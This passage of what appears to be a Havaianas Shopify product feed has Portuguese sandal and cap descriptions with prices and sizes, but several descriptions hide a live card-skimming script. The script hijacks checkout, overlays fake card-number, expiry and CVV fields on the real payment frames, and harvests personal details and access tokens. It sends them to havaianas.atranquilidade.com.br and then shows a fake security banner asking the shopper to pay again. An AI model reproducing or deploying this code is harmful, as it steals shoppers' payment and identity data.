=r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Havaianas Dual é para quem está em busca de um chinelo esportivo e moderno. As tiras mais grossas são bicolor e o solado superconfortável, em duas camadas, vai fazer dessa sandália sua maior companheira!\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Branco \/ 43\/44","offer_id":45620766540033,"sku":"4145602_8275_434","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 35\/36","offer_id":45621036417281,"sku":"4145602_8275_356","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 41\/42","offer_id":45621166539009,"sku":"4145602_8275_412","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 45\/46","offer_id":45621199175937,"sku":"4145602_8275_456","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 47\/48","offer_id":45621199241473,"sku":"4145602_8275_478","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 37\/38","offer_id":45621261926657,"sku":"4145602_8275_378","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 39\/40","offer_id":45621415313665,"sku":"4145602_8275_390","price":79.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145602_8275_CHINELO-HAVAIANAS-DUAL_C.png?v=1734124768"},{"product_id":"chinelo-havaianas-urban-basic-material-4148427-0089","title":"Chinelo Havaianas Urban Basic Material","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eFeito em cores neutras e elegantes para você usar sempre, o chinelo Urban Basic Material tem tiras largas de tecido e nosso querido solado de borracha macia em uma combinação que deixa o modelo mais contemporâneo. Ideal para looks casuais, com ele você pode combinar diversas peças do seu guarda-roupa.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Azul Índigo \/ 35\/36","offer_id":45623032709377,"sku":"4148427_0089_356","price":89.99,"currency_code":"BRL","in_stock":false},{"title":"Azul Índigo \/ 37\/38","offer_id":45623033037057,"sku":"4148427_0089_378","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Índigo \/ 41\/42","offer_id":45624104419585,"sku":"4148427_0089_412","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Índigo \/ 43\/44","offer_id":45624104452353,"sku":"4148427_0089_434","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Índigo \/ 45\/46","offer_id":45624104485121,"sku":"4148427_0089_456","price":89.99,"currency_code":"BRL","in_stock":false},{"title":"Azul Índigo \/ 47\/48","offer_id":45624125751553,"sku":"4148427_0089_478","price":89.99,"currency_code":"BRL","in_stock":false},{"title":"Azul Índigo \/ 39\/40","offer_id":45624252432641,"sku":"4148427_0089_390","price":89.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148427-urban-basic-material-0089-0_21957571-a72c-4cff-8917-97063cc878ac.jpg?v=1734123899"},{"product_id":"chinelo-havaianas-urban-basic-material-4148427-0090","title":"Chinelo Havaianas Urban Basic Material","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eFeito em cores neutras e elegantes para você usar sempre, o chinelo Urban Basic Material tem tiras largas de tecido e nosso querido solado de borracha macia em uma combinação que deixa o modelo mais contemporâneo. Ideal para looks casuais, com ele você pode combinar diversas peças do seu guarda-roupa.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ 39\/40","offer_id":45623037231361,"sku":"4148427_0090_390","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 41\/42","offer_id":45623265001729,"sku":"4148427_0090_412","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 43\/44","offer_id":45623265100033,"sku":"4148427_0090_434","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 45\/46","offer_id":45623265231105,"sku":"4148427_0090_456","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 37\/38","offer_id":45624252498177,"sku":"4148427_0090_378","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 47\/48","offer_id":45713154670849,"sku":"4148427_0090_478","price":89.99,"currency_code":"BRL","in_stock":false},{"title":"Preto \/ 35\/36","offer_id":45793497710849,"sku":"4148427_0090_356","price":89.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148427-urban-basic-material-0090-0_5172dfd5-9a7c-4989-a735-3a1fc8d98bc1.jpg?v=1734123893"},{"product_id":"bone-havaianas-trucker-4148220-0727","title":"Boné Havaianas Trucker","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft 